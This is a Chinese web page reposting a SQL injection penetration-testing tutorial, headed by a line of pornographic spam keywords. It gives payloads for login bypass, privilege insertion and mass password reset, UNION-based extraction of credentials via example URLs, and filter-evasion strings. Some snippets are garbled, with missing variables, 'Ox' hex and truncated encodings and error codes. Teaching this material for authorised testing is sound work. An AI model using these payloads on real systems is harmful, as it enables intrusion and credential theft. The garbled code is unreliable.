成熟丰满熟妇高潮XXXXX,人妻无码AV中文系列久久兔费 ,国产精品一国产精品,国精品午夜福利视频不卡麻豆

您好,歡迎來(lái)到九壹網(wǎng)。
搜索
您的當(dāng)前位置:首頁(yè)安全測(cè)試:SQL注入攻防

安全測(cè)試:SQL注入攻防

來(lái)源:九壹網(wǎng)

一。注入解釋型語(yǔ)言

解釋型語(yǔ)言(interpreted language)是一種在運(yùn)行時(shí)由一個(gè)運(yùn)行時(shí)組件(runtime component)解釋語(yǔ)言代碼并執(zhí)行其中包含的指令的語(yǔ)言。與之相對(duì),編譯型語(yǔ)言(compiled language)是這樣一種語(yǔ)言:它的代碼在生成時(shí)轉(zhuǎn)換成機(jī)器指令,然后在運(yùn)行時(shí)直接由使用該語(yǔ)言的計(jì)算機(jī)處理器執(zhí)行這些指令。

理論上說(shuō),任何語(yǔ)言都可使用編譯器或注釋器來(lái)執(zhí)行,這種區(qū)別并不是語(yǔ)言本身的內(nèi)在特性?;诮忉屝驼Z(yǔ)言的執(zhí)行方式,產(chǎn)生了一系列叫做代碼注入(code injection)的漏洞。

?

二。注入SQL

A。利用一個(gè)基本的漏洞

?

Select author,title,year From books Where publisher = 'Wiley' or 'a'='a'

這個(gè)查詢完全有效,可得到和1 =1攻擊相同的效果

?

B。查明SQL注入漏洞

實(shí)際上,提交給服務(wù)器的任何數(shù)據(jù)都能夠以用戶無(wú)法察覺(jué)的方式傳送給數(shù)據(jù)庫(kù)函數(shù),并且可能得到不安全的處理。因此需要檢查所有這些數(shù)據(jù),以防止SQL注入漏洞。這包括所有URL參數(shù)、cookie、POST數(shù)據(jù)項(xiàng)以及HTTP消息頭。無(wú)法哪一種情況,相關(guān)參數(shù)名與參數(shù)值的處理過(guò)程都可能存在漏洞。

當(dāng)探查SQL注入漏洞時(shí),一定要確保完全遍歷任何可以提交專門設(shè)計(jì)的輸入的多階段過(guò)程;應(yīng)用程序通常會(huì)從幾個(gè)請(qǐng)求中收集一組數(shù)據(jù),一旦收集到全部的數(shù)據(jù),就將其保存在數(shù)據(jù)庫(kù)中。這時(shí),如果僅在每個(gè)請(qǐng)求中提交專門設(shè)計(jì)的數(shù)據(jù)并監(jiān)控應(yīng)用程序?qū)δ莻€(gè)請(qǐng)求的響應(yīng),就會(huì)遺漏許多SQL注入漏洞。

?

·1.字符串?dāng)?shù)據(jù)

滲透測(cè)試步驟:

1.提交一個(gè)單引號(hào)作為目標(biāo)查詢的數(shù)據(jù)。觀察是否會(huì)造成錯(cuò)誤,或者結(jié)果是否與原始結(jié)果不同。

2.如果發(fā)現(xiàn)錯(cuò)誤或其他異常行為,同時(shí)提交兩個(gè)單引號(hào),看會(huì)出現(xiàn)什么情況。數(shù)據(jù)庫(kù)使用兩個(gè)單引號(hào)作為轉(zhuǎn)義序列,表示一個(gè)字面量單引號(hào)。因此這個(gè)序列被解釋成引用字符串中的數(shù)據(jù),而不是結(jié)束字符串的終止符。如果這個(gè)輸入使錯(cuò)誤或異常行為消失,應(yīng)用程序可能易于受到SQL注入

3.進(jìn)一步核實(shí)漏洞是否存在,可以使用SQL連接符建立一個(gè)等同于“良性”輸入字符串。如果應(yīng)用程序以和處理對(duì)應(yīng)“良性”輸入相同的方式處理專門設(shè)計(jì)的輸入,那么他很可能易于受到攻擊。每種數(shù)據(jù)庫(kù)使用的字符連接方法各不相同。在一個(gè)易受攻擊的應(yīng)用程序中,可以注入一下實(shí)例構(gòu)建等同于FOO的輸入:
Oracle:'||'FOO

MS-SQL:'+'FOO

MySQL:' 'FOO(注意兩個(gè)引號(hào)之間有一個(gè)空格)

?

??? 可以在特定的參數(shù)中提交SQL通配符%,以確定應(yīng)用程序是否與一個(gè)后端數(shù)據(jù)庫(kù)交互。例如,在一個(gè)搜索字段中提交這個(gè)通配符將返回大量結(jié)果,指出輸入正被傳送到一個(gè)SQL查詢中。當(dāng)然,這不一定表示應(yīng)用程序易受攻擊,只表示應(yīng)該深入探查以確定是否存在任何漏洞。

?

?

·2.數(shù)字?jǐn)?shù)據(jù)

1.嘗試輸入一個(gè)結(jié)果等于原始數(shù)字值的簡(jiǎn)單數(shù)學(xué)表達(dá)式。例如,如果原始值為2,嘗試提交(1+1)或(3-1)。如果應(yīng)用程序做出相同的響應(yīng),就表示它易于受到攻擊

2.如果證實(shí)被修改的數(shù)據(jù)會(huì)對(duì)應(yīng)用程序的行為造成明顯影響,前面描述的測(cè)試方法最為可靠。例如,如果應(yīng)用程序使用一個(gè)數(shù)字式PageID參數(shù)指定應(yīng)返回什么內(nèi)容,就用(1+1)代替2得到相同的結(jié)果,明顯表示存在SQL注入。然而,如果能夠在數(shù)字是參數(shù)中插入一個(gè)完全隨意的輸入,但應(yīng)用程序的行為卻沒(méi)有發(fā)生改變,那么前面的檢測(cè)方法就無(wú)法發(fā)現(xiàn)漏洞。

3.如果第一個(gè)測(cè)試方法取得成功,可以利用更加復(fù)雜的、使用特殊SQL關(guān)鍵字和語(yǔ)法進(jìn)一步獲得與漏洞有關(guān)的證據(jù)。ASCII命令就是一個(gè)典型的實(shí)例,它返回被提交字符的數(shù)字化ASCII代碼。例如,因?yàn)?5的ASCII值為A,在SQL中,以下表達(dá)式等于2。67-ASCII('A')

4.如果單引號(hào)被過(guò)濾掉,那么前面的測(cè)試方法就沒(méi)有作用。然而,這時(shí)可以利用這樣一個(gè)事實(shí):在必要時(shí),數(shù)據(jù)庫(kù)會(huì)隱含地將數(shù)字?jǐn)?shù)據(jù)轉(zhuǎn)化為字符串?dāng)?shù)據(jù)。例如,因?yàn)樽址?的ASCII為49,在SQL中,以下表達(dá)式等于2:51-ASCII(1)

?

當(dāng)探查一個(gè)應(yīng)用程序是否存在SQL注入之類的缺陷時(shí),我們常常會(huì)犯一個(gè)錯(cuò)誤,即忘記某些字符在HTTP請(qǐng)求中具有特殊含義,如果想在攻擊有效載荷(attack payload)中插入這些字符,就必須對(duì)他們進(jìn)行URL編碼,確保應(yīng)用程序按預(yù)料的方式解釋他們。特別是以下字符:

·& 和 = 用于連接名稱/值時(shí),建立查詢字符串和POST數(shù)據(jù)塊。應(yīng)當(dāng)分別使用%26和%3d對(duì)他們進(jìn)行編碼;

·查詢字符串不允許使用空格,如果在其中提交空格,整個(gè)字符串將立即終止。必須使用 + 或 %20 對(duì)其編碼

·由于 + 被用于編碼空格,如果希望在字符串中使用+,就必須使用%2b對(duì)其編碼。因此,在前面的數(shù)字化實(shí)例中,1+1應(yīng)以1%2b1的形式提交

·分號(hào)被用于分隔cookie字段,必須使用%3b將其編碼

?

一般來(lái)說(shuō),前面描述的步驟足以確定絕大多數(shù)的SQL注入漏洞,包括許多向?yàn)g覽器返回?zé)o用結(jié)果或錯(cuò)誤信息的漏洞。但是,在某些情況下,可能有必要使用更加高級(jí)的技巧(如時(shí)間延遲)來(lái)確定一個(gè)漏洞。后面將會(huì)描述這些技巧。

?

C。注入不同的語(yǔ)句類型

·1.SELECT語(yǔ)句

SQL注入漏洞偶爾也會(huì)影響SELECT查詢的其他部分,如Order by字句或表和欄名稱

?

·2.INSERT語(yǔ)句

INSERT語(yǔ)句用于在表中建立一個(gè)新的數(shù)據(jù)行。應(yīng)用程序通常使用這種語(yǔ)句添加一條新的審計(jì)日志、創(chuàng)建一個(gè)新用戶賬戶或生成一個(gè)新訂單

例如,如果一個(gè)應(yīng)用程序允許自我注冊(cè),指定他們自己的用戶名和密碼,就可以使用下面的語(yǔ)句將用戶資料插入U(xiǎn)sers表中:

Insert into users (username,password,ID,privs) values ('daf','secret',2248,1)

如果username和password字段存在SQL注入漏洞,那么攻擊者就可以在表中插入任何數(shù)據(jù),包括他自己的ID和privs值。然而,要想這么做,攻擊者就必須確保Values字句的其他部分正常運(yùn)行。特別是其中數(shù)據(jù)項(xiàng)的個(gè)數(shù)與類型必須正確。例如,當(dāng)注入username字段時(shí),攻擊者可以提交以下輸入:foo','bar',9999,0) --

它將建立一個(gè)ID為9999,privs為0的賬戶。假如privs字段被用來(lái)決定賬戶權(quán)限,那么攻擊者就可以利用它創(chuàng)建一個(gè)管理用戶。

有時(shí),攻擊者完全盲目地注入一個(gè)Insert語(yǔ)句也能夠從應(yīng)用程序中提取出字符串?dāng)?shù)據(jù)。例如,攻擊者可以攔截?cái)?shù)據(jù)庫(kù)的版本字符串,并把它插入自己用戶資料的一個(gè)字段中;正常情況下,瀏覽器將顯示數(shù)據(jù)庫(kù)的版本信息。

當(dāng)設(shè)法注入一個(gè)insert語(yǔ)句時(shí),可能無(wú)法提前知道需要提交多少個(gè)參數(shù)或參數(shù)類型。在前面的實(shí)例中,可以通過(guò)在Values子句中持續(xù)增加一個(gè)新的字段,直到應(yīng)用程序創(chuàng)建確實(shí)想要的用戶賬戶,從而解決上述問(wèn)題。例如,當(dāng)注入username字段時(shí)可以提交以下輸入:
foo') - -

foo',1)--

foo',1,1)--

foo',1,1,1)--

由于大多數(shù)數(shù)據(jù)庫(kù)都會(huì)隱式地將一個(gè)整數(shù)轉(zhuǎn)換為一個(gè)字符串,可以在每個(gè)位置都使用一個(gè)整數(shù),在這個(gè)實(shí)例中,不管其他字段如何,它將生成一個(gè)用戶名為foo,密碼為1的賬戶。

如果發(fā)現(xiàn)使用值1仍然遭到拒絕,可以嘗試使用值2000,許多數(shù)據(jù)庫(kù)也會(huì)隱式地將它轉(zhuǎn)換成基于 數(shù)據(jù)的數(shù)據(jù)類型。

?

·3.UPDATE語(yǔ)句

UPDATE語(yǔ)句用于修改表中的一行或幾行數(shù)據(jù)。他們經(jīng)常用在用戶修改已有數(shù)據(jù)值的功能中,例如,更新聯(lián)系信息、修改密碼或更改訂單數(shù)量。

典型UPDATE語(yǔ)句的運(yùn)行機(jī)制與insert語(yǔ)句類似,只是UPDATE語(yǔ)句中通常包含一個(gè)WHere字句,告訴數(shù)據(jù)庫(kù)更新表中的哪些行的數(shù)據(jù)。例如,當(dāng)用戶修改密碼時(shí),應(yīng)用程序可能會(huì)執(zhí)行以下查詢:

Update users set password = 'newsecret' where user = 'marcus' and password = 'secret'

實(shí)際上,這個(gè)查詢首先核實(shí)用戶的現(xiàn)有密碼是否正確,如果密碼無(wú)誤,就用新的值更新它。如果這項(xiàng)功能存在SQL注入漏洞,那么攻擊者就能避開現(xiàn)有密碼檢查,通過(guò)輸入以下用戶名更新管理員密碼:admin'--

由于無(wú)法提前知道應(yīng)用程序?qū)⒏鶕?jù)專門設(shè)計(jì)的輸入執(zhí)行什么操作,因此,在一個(gè)遠(yuǎn)程應(yīng)用程序中探查SQL注入漏洞往往非常危險(xiǎn)。特別注意,修改UPDATE語(yǔ)句中的WHERE字句可能會(huì)使一個(gè)重要的數(shù)據(jù)庫(kù)表發(fā)生徹底改變。例如,如果上面的攻擊者之前已經(jīng)提交了以下用戶名:

admin' or 1=1--

那么應(yīng)用程序可能會(huì)執(zhí)行以下查詢:

Update users set password = 'newsecret' where user = 'admin' or 1=1

他會(huì)重新設(shè)置每一名用戶的密碼!

即使所攻擊的應(yīng)用程序功能(如主登錄功能)并不會(huì)更新任何現(xiàn)有數(shù)據(jù),滲透測(cè)試員也應(yīng)當(dāng)留意這種風(fēng)險(xiǎn)。有時(shí)候,在用戶成功登陸后,應(yīng)用程序會(huì)使用用戶提交的用戶名執(zhí)行各種UPDATE查詢,這意味著任何針對(duì)WHERE字句的攻擊可能會(huì)“復(fù)制”到其他語(yǔ)句中,給所有應(yīng)用程序用戶的資料造成嚴(yán)重破壞。在嘗試探查或利用任何SQL注入漏洞之前,必須確保應(yīng)用程序所有者接受這些無(wú)法避免的風(fēng)險(xiǎn);同時(shí),應(yīng)該強(qiáng)烈建議他們?cè)陂_始測(cè)試前對(duì)數(shù)據(jù)庫(kù)進(jìn)行完整備份。

?

·4.DELETE語(yǔ)句

?

?

D。UNION操作符

SQL使用UNION操作符將兩個(gè)或幾個(gè)SELECT語(yǔ)句的結(jié)果組合到的一個(gè)結(jié)果中。如果一個(gè)Web應(yīng)用程序的SELECT語(yǔ)句存在SQL注入漏洞,通??梢允褂肬NION操作符執(zhí)行另一次完全的查詢,并將它的結(jié)果與第一次查詢的結(jié)果組合在一起。如果應(yīng)用程序向?yàn)g覽器返回查詢結(jié)果,那么就可以使用這種技巧從應(yīng)用程序中提取任意的數(shù)據(jù)

了解UNION兩個(gè)重要的:

1.如果使用UNION組合兩個(gè)查詢的結(jié)果,這兩個(gè)結(jié)果必須結(jié)構(gòu)相同。也就是說(shuō),他們的欄數(shù)必須相同,必須使用按相同順序出現(xiàn)的相同或兼容的數(shù)據(jù)類型

2.為注入另一個(gè)返回有用結(jié)果的查詢,攻擊者必須知道它所針對(duì)的數(shù)據(jù)庫(kù)表的名稱以及有關(guān)欄的名稱。

?

現(xiàn)在讓我們更加深入地分析前一個(gè)。假設(shè)攻擊者試圖注入另一個(gè)返回錯(cuò)誤欄數(shù)的查詢。他提交以下輸入:

Wiley' UNION select username,password from users--

最初的查詢返回3欄,而注入的查詢返回2欄。因此,數(shù)據(jù)庫(kù)返回以下錯(cuò)誤:

ORA-017:query block has incorrect number of result columns

假設(shè)攻擊者試圖注入另一個(gè)欄內(nèi)數(shù)據(jù)類型不兼容的查詢。它提交以下輸入:

Wiley' UNION select uid,username,password from users--

這樣數(shù)據(jù)庫(kù)嘗試把第二個(gè)查詢的密碼欄(其中為字符串?dāng)?shù)據(jù))與第一個(gè)查詢的年代欄(其中為數(shù)字?jǐn)?shù)據(jù))組合起來(lái)。因?yàn)樽址當(dāng)?shù)據(jù)無(wú)法轉(zhuǎn)換為數(shù)字?jǐn)?shù)據(jù),這個(gè)語(yǔ)句造成一個(gè)錯(cuò)誤:

ORA-017:expression Must have same datatype as corresponding

expression

上面是Oracle返回的錯(cuò)誤信息。

?

滲透測(cè)試步驟:

攻擊的首要任務(wù)是查明應(yīng)用程序執(zhí)行的最初查詢所返回的欄數(shù)。有兩種方法可以完成這項(xiàng)任務(wù)。

1.可以利用NULL被轉(zhuǎn)換為任何數(shù)據(jù)類型這一事實(shí),系統(tǒng)性的注入包含不同欄數(shù)的查詢,

直到注入的查詢得到執(zhí)行,例如:

'Union select Null --

'Union select null,null--

'Union select null,null,null--

查詢得到執(zhí)行就說(shuō)明使用了正確的欄數(shù)。如果應(yīng)用程序不返回?cái)?shù)據(jù)錯(cuò)誤消息,仍然可以了解注入的查詢是否成功執(zhí)行,因?yàn)闀?huì)收到另外一行數(shù)據(jù),其中包含NULL或一個(gè)空字符串

?

2.可以在最初的查詢中注入一個(gè)Order By字句,并遞增排序欄(ordering column)的索引(index),直到發(fā)生錯(cuò)誤。例如
??? 'order by 1--

'order by 2--

'order by 3--

一般來(lái)說(shuō),前幾個(gè)查詢將會(huì)返回和最初的查詢相同的結(jié)果,但數(shù)據(jù)項(xiàng)的順序各不相同。如果發(fā)生錯(cuò)誤,就說(shuō)明指定了一個(gè)無(wú)效的欄數(shù),可以據(jù)此查明實(shí)際的欄數(shù)。

確定所需的欄數(shù)后,下一項(xiàng)任務(wù)就是找到一個(gè)使用字符串?dāng)?shù)據(jù)類型的欄,以便通過(guò)它從數(shù)據(jù)庫(kù)中提取出任意數(shù)據(jù)。和前面一樣,可以通過(guò)注入一個(gè)包含NULL值的查詢,并系統(tǒng)性的用a代替每個(gè)Null,從而完成這項(xiàng)任務(wù)。例如,如果知道查詢必須返回3欄,可以注入一下查詢:

'UNion select 'a',Null,Null--

'Union select Null,'a',Null--

'UNion select Null,Null,'a'--

??? 如果注入的查詢得到執(zhí)行,將看到另一行包含a值的數(shù)據(jù),然后就可以使用相關(guān)欄從數(shù)據(jù)庫(kù)中提取數(shù)據(jù)。

在Oracle數(shù)據(jù)庫(kù)中,每個(gè)Select語(yǔ)句必須包含一個(gè)From屬性,因此,無(wú)論欄數(shù)是否正確,注入U(xiǎn)NION SELECT Null將產(chǎn)生一個(gè)錯(cuò)誤??梢赃x擇使用全局可訪問(wèn)表DUAL來(lái)滿足這一要求。例如:

'UNION SELECT NULL FROM DUAL--

如果已經(jīng)確定注入的查詢所需的欄數(shù),并且已經(jīng)找到一個(gè)使用字符串?dāng)?shù)據(jù)類型的欄,就能夠提取出任意數(shù)據(jù)。一個(gè)簡(jiǎn)單的概念驗(yàn)證測(cè)試測(cè)試是提取數(shù)據(jù)庫(kù)的版本字符串,可以對(duì)任何數(shù)據(jù)管理系統(tǒng)(DBMS)進(jìn)行測(cè)試。例如,如果查詢一共有3欄,第一欄可以提取字符串?dāng)?shù)據(jù),可以在MS-SQL和MYSQL中注入以下查詢提取數(shù)據(jù)庫(kù)版本:

'UNION SELECT @ ,null,null--

對(duì)Oracle注入以下查詢將得到相同的結(jié)果:

'UNION select banner,null,null from v$version--

?

E?!爸讣y識(shí)別”數(shù)據(jù)庫(kù)

下面的實(shí)例說(shuō)明常用的數(shù)據(jù)庫(kù)是如何構(gòu)建Services字符串的。

Oracle:'serv'||'ices'

MS-SQL:'serv'+'ices'

MySQL:'serv' 'ices'(注意中間有空格)

如果正在注入數(shù)字?jǐn)?shù)據(jù),就可以使用下面的攻擊字符串來(lái)識(shí)別數(shù)據(jù)庫(kù)。每個(gè)數(shù)據(jù)項(xiàng)在目標(biāo)數(shù)據(jù)庫(kù)中的值為0,在其他數(shù)據(jù)庫(kù)中則會(huì)產(chǎn)生一個(gè)錯(cuò)誤:

Oracle:BITAND(1,1)-BITAND(1,1)

MS-SQL:@@PACK_Received-@@PACK-RECEIVED

MySQL:CONNECTION_ID()-CONNECTION_ID()

注解 MS-SQL和SYbase數(shù)據(jù)庫(kù)起源相同,因此他們?cè)诒斫Y(jié)構(gòu)、全局變量和存儲(chǔ)過(guò)程方面存在許多相似之處。實(shí)際上,后文描述的絕大多數(shù)針對(duì)MS-SQL的攻擊技巧同樣也適用于SYbase。

?

F。提取有用的數(shù)據(jù)

·1.Oracle攻擊

典型的搜索使用以下URL:

https://wahh-app.com/emplyees.asp?empno=7521

如果要執(zhí)行UNION攻擊,需要確定查詢所需的欄數(shù)(他可能與應(yīng)用程序響應(yīng)返回的欄數(shù)有所不同)。注入一個(gè)返回單獨(dú)一欄的查詢導(dǎo)致如下錯(cuò)誤消息:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20Select%20Null%20from%20dual--

[oracle][ODBC][Ora]ORA-017:query block has incorrect number of result columns

?

繼續(xù)在注入的查詢中增加其他NULL值,直到查詢得以執(zhí)行,應(yīng)用程序不再返回錯(cuò)誤消息:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,NUll,Null,Null%20from%20dual--

注意,表中增加了一個(gè)空白行,其中包含注入的查詢返回的NULL值。

確定了所需的欄數(shù)后,現(xiàn)在需要找到一個(gè)使用字符串?dāng)?shù)據(jù)欄類型的欄。第一次嘗試沒(méi)有成功:

https://wahh-app.com/employees.asp?empNo=7521%20Union%20select%20'a',NUll,Null,Null%20from%20dual--

[oracle][ODBC][ora]ORA-01790:expression must have same datatype as corresponding expression

?

針對(duì)第二欄進(jìn)行測(cè)試,這次取得成功。返回一行包含指定的輸入的數(shù)據(jù):

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,'a',Null,Null%20from%20dual--

?

現(xiàn)在就有辦法從數(shù)據(jù)庫(kù)中提取字符串?dāng)?shù)據(jù)庫(kù)了。下一步需要查明可能包含有用信息的數(shù)據(jù)庫(kù)表的名稱。嘗試查詢user_objects表,它顯示與用戶定義的表和其他數(shù)據(jù)項(xiàng)有關(guān)的細(xì)節(jié):

https://wahh-app.com/employees.asp?empno=7521%20Union%20select%20null,object_name,object_type,null%20from%20user_objects--

?

前面查詢了user_objects表,它返回Web應(yīng)用程序的數(shù)據(jù)庫(kù)用戶擁有的所有對(duì)象。還可以查詢all_user_objects,它將返回該用戶可以看見(jiàn)的全部對(duì)象,即使他并不擁有這些對(duì)象。

剛才返回的這些表中可能包含敏感信息,包括在我們的權(quán)限下無(wú)論還無(wú)法訪問(wèn)的雇員信息。首先,USERS表是一個(gè)明顯的對(duì)象,因?yàn)槠渲锌赡馨C書??赏ㄟ^(guò)查詢User_tab_columns表查明這個(gè)表的欄的名稱:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20NUll,column_name,Null,Null%20from%20user_tab_columns%20where%20table_name%20%3d%20'USERS'--

上面的輸出結(jié)果表明,USERS表中其實(shí)并不包含密碼和會(huì)話令牌之類敏感數(shù)據(jù)?,F(xiàn)在已經(jīng)能夠提取這種形式的任何信息。例如:

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20null,login,password,Null%20from%20users--

?

在剛剛描述的攻擊中,有兩個(gè)欄可用于獲取數(shù)據(jù);最簡(jiǎn)單的攻擊方法是同時(shí)使用這兩個(gè)欄。如果只有一個(gè)字段可供使用,也可以將幾個(gè)想要提取的數(shù)據(jù)連接成一個(gè)字符串,放入這個(gè)字段中,實(shí)施相同的攻擊。例如,下面的URL將提取Employee字段中的用戶名和密碼,他們之間用冒號(hào)分隔。

https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,login||':'||password,Null,NUll%20from%20user_objects--

?

G。避開過(guò)濾

有時(shí),易于受到SQL注入攻擊的應(yīng)用程序可能會(huì)執(zhí)行各種輸入過(guò)濾,以防止攻擊者無(wú)的利用其中存在的缺陷。例如,應(yīng)用程序可能會(huì)刪除或凈化某些字符,或者阻止常用的SQL關(guān)鍵字。這種過(guò)濾通常非常容易避開,攻擊者可以使用以下幾種技巧。

·1.避免使用別阻止的字符

如果應(yīng)用程序或編碼某些在SQL注入攻擊中經(jīng)常用到的字符,那么攻擊者不使用這些字符仍然能夠?qū)嵤┕簟?/p>

(1)如果注入的一個(gè)數(shù)字?jǐn)?shù)據(jù)字段,就不需要使用單引號(hào)

(2)如果注釋符號(hào)被阻止,通??梢栽O(shè)計(jì)注入的數(shù)據(jù),使其不會(huì)破壞周圍查詢的語(yǔ)法。例如,不用注入

'or 1=1--

可以注入:

'or 'a'='a

(3)在一個(gè)MS-SQL數(shù)據(jù)庫(kù)中注入批量查詢時(shí),不必使用分號(hào)分隔符。只要糾正所有批量查詢的語(yǔ)法,無(wú)論是否使用分號(hào),查詢解析器都會(huì)正確解釋他們。

?

·2.避免使用簡(jiǎn)單確認(rèn)

一些輸入確認(rèn)機(jī)制使用一個(gè)簡(jiǎn)單的黑名單,阻止或刪除任何出現(xiàn)在這個(gè)名單中的數(shù)據(jù)。在這種情況下,攻擊者會(huì)使用標(biāo)準(zhǔn)的攻擊方法,尋找確認(rèn)和規(guī)范化(canonicalization)機(jī)制中的常見(jiàn)缺陷。例如,如果SELECT關(guān)鍵字被阻止或刪除,可以使用以下輸入:

SeLeCt

SELSELECTECT

%53%45%4c%45%43%

%2553%25%2c%25%23%25

?

·3.使用SQL注釋

?

與在C++語(yǔ)言中一樣,也可以在SQL語(yǔ)句插入行內(nèi)注釋,注釋內(nèi)容包含在/*與*/符號(hào)之間。如果應(yīng)用程序阻止或刪除輸入中的空格,攻擊者可以使用注釋“冒充”注入的數(shù)據(jù)中的空白符。例如:

SELECT/*foo*/username,password/*foo*/From/*foo*/users

在MySQL中,注釋甚至可以插入關(guān)鍵字中,攻擊者可以通過(guò)這種方法避開某些輸入確認(rèn)過(guò)濾,同時(shí)保留查詢中的語(yǔ)法。例如
?

SEL/*foo*/ECT username,password Fr/*foo*/om users

?

·4.處理被阻止的字符串

如果應(yīng)用程序阻止某些想要作為數(shù)據(jù)項(xiàng)插入注入查詢中的字符串,那么攻擊者就可以使用各種字符串操作函數(shù)動(dòng)態(tài)建立需要的字符串。例如,如果表達(dá)式admin被阻止,那么攻擊者可以通過(guò)以下方式建立該字符串。

Oracle:'adm'||'in'

MS-SQL:'adm'+'in'

MySQL:concat('adm','in')

多數(shù)數(shù)據(jù)庫(kù)都擁有許多自定義的字符串操作函數(shù),可用于以任何復(fù)雜的方式創(chuàng)建被阻止的字符串,以避開各種輸入確認(rèn)過(guò)濾。例如,Oracle中包含CHR,REVERSE,TRANSLATE,REPLACE和SUBSTR函數(shù)。如果單引號(hào)被阻止,攻擊者可以使用CHR函數(shù)插入一個(gè)字符串。例如,下面的查詢可建立字符串a(chǎn)dmin:

SELECT password from users where username = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)

?

·5.使用動(dòng)態(tài)執(zhí)行

一些數(shù)據(jù)庫(kù)通過(guò)向相關(guān)函數(shù)提交一個(gè)用字符串表示的特殊語(yǔ)句來(lái)動(dòng)態(tài)執(zhí)行SQL語(yǔ)句。例如,在MS-SQL中,可以使用以下語(yǔ)句:

exec('select * from users')

這允許在語(yǔ)句的任何位置使用前面描述的任何字符串操作技巧,避開旨在阻止某些表達(dá)式的過(guò)濾。例如:

exec('sel'+'ect * from'+'users')

還可以建立一個(gè)十六進(jìn)制編碼數(shù)字?jǐn)?shù)據(jù)字符串,然后向exec函數(shù)提交這個(gè)字符串,從而避開許多種輸入過(guò)濾,包括阻止單引號(hào)的過(guò)濾,例如:

declare varchar(8000)

Select = Ox73656c656374202a2066726f6d207573657273

exec(@q)

在Oracle中,可以使用EXECUTE IMMEDIATE執(zhí)行一個(gè)以字符串表示的查詢。例如:

declare

l_cnt varchar2(20)

begin

?

Execute immediate 'sel'||'ect * fr'||'om_users'

into l_cnt

dbms_output.put_line(l_cnt);

end;

?

·6 利用有缺陷的過(guò)濾

應(yīng)用程序常常對(duì)出現(xiàn)在基于字符串的用戶輸入中的任何單引號(hào)進(jìn)行轉(zhuǎn)義(并拒絕任何出現(xiàn)在數(shù)字輸入中的單引號(hào)),設(shè)法防御SQL注入。如上文所述,兩個(gè)連續(xù)的單引號(hào)是一個(gè)轉(zhuǎn)義序列,表示一個(gè)字面量單引號(hào),數(shù)據(jù)庫(kù)將把它解釋為一個(gè)引用字符串中的數(shù)據(jù),而不是結(jié)束字符串的終止符。因此,許多開發(fā)認(rèn)為,將用戶提交的輸入中的單引號(hào)配對(duì),就可以防止任何SQL注入攻擊。

除將單引號(hào)配對(duì)外,一些應(yīng)用程序還執(zhí)行其他操作,設(shè)法凈化潛在的惡意輸入。在這種情況下,攻擊者可以利用這些步驟的次序避開過(guò)濾。

回到前面那個(gè)易受攻擊的登錄實(shí)例。假設(shè)應(yīng)用程序?qū)⒂脩糨斎胫械娜魏螁我?hào)配對(duì),并且對(duì)數(shù)據(jù)執(zhí)行長(zhǎng)度,將其截短為20個(gè)字符。提交用戶名:admin'--

現(xiàn)在得到如下查詢,它無(wú)法避開登錄:

SELECT * from users WHERE username='admin''--' and password = ''

但是,如果提交下面的用戶名(包含19個(gè)a和一個(gè)單引號(hào)):

aaaaaaaaaaaaaaaaaaa'

那么應(yīng)用程序首先會(huì)將單引號(hào)配對(duì),然后把字符串截短為20個(gè)字符,將輸入恢復(fù)到最初的值。這回導(dǎo)致一個(gè)數(shù)據(jù)庫(kù)錯(cuò)誤,因?yàn)樵诓樵冎凶⑷肓肆硗庖粋€(gè)單引號(hào),但沒(méi)有糾正周圍的語(yǔ)法?,F(xiàn)在如果還提交以下密碼值

[空格]or 1=1--

應(yīng)用程序?qū)?zhí)行如下查詢,它能夠成功避開登錄:

SELECT * FROM users WHERE username = 'aaaaaaaaaaaaaaaaaaa'' and password = ' or 1=1--'

由a組成的字符串末尾部分的配對(duì)的單引號(hào)被解釋成一個(gè)轉(zhuǎn)義引號(hào),因此被當(dāng)做查詢數(shù)據(jù)的一部分。這個(gè)字符串直到下一個(gè)單引號(hào)位置結(jié)束,在最初的查詢中,這個(gè)引號(hào)后面是用戶提交的密碼。因此,數(shù)據(jù)庫(kù)所理解的用戶名為下面的字符串:

aaaaaaaaaaaaaaaaaaa' and password =

因此,引號(hào)后面的任何內(nèi)容都被當(dāng)做查詢數(shù)據(jù)的一部分,并可進(jìn)行專門設(shè)計(jì)以破壞查詢邏輯。

?

不必了解字符串的長(zhǎng)度,只需輪流提交下面這兩個(gè)超長(zhǎng)的字符串,看是否會(huì)發(fā)生錯(cuò)誤,就可以檢測(cè)這種類型的漏洞:

''''''''''''''''''''''''''''''

a'''''''''''''''''''''''''''''

截短轉(zhuǎn)義字符發(fā)生在一個(gè)偶數(shù)字符或奇數(shù)字符之后,無(wú)論哪一種情況,前面的字符串都會(huì)在查詢中插入奇數(shù)數(shù)目的單引號(hào),致使語(yǔ)法失敗。

?

H。二階SQL注入

一種特別有益的避開過(guò)濾的方法與二階SQL注入(Second-orderSQLinjection)有關(guān)。如前文所述,應(yīng)用程序常常對(duì)出現(xiàn)在基于字符串的用戶輸入中的任何單引號(hào)進(jìn)行轉(zhuǎn)義(并拒絕任何在數(shù)字輸入中的單引號(hào)),設(shè)法防御SQL注入。即使應(yīng)用前面描述的攻擊很難突破這種防御方法,但有時(shí)仍然可以避開它。

在前面搜索的示例中,這種方法明顯有效。當(dāng)用戶輸入搜索項(xiàng)O'Reilly時(shí),應(yīng)用程序執(zhí)行以下查詢:

Select author,title,year From books WHERE publisher = 'O''Reilly'

在這個(gè)查詢中,用戶提交的單引號(hào)被轉(zhuǎn)換為兩個(gè)單引號(hào),因而傳送給數(shù)據(jù)庫(kù)的搜索項(xiàng)與用戶最初輸入的表達(dá)式具有相同的字符含義。

與單引號(hào)配對(duì)方法有關(guān)的問(wèn)題出現(xiàn)在更復(fù)雜的情形中,此時(shí)同一個(gè)數(shù)據(jù)項(xiàng)被提交給幾個(gè)SQL查詢,然后寫入數(shù)據(jù)庫(kù)被幾次讀取。這是證明簡(jiǎn)單輸入確認(rèn)相對(duì)于邊界確認(rèn)存在不足的一個(gè)示例。

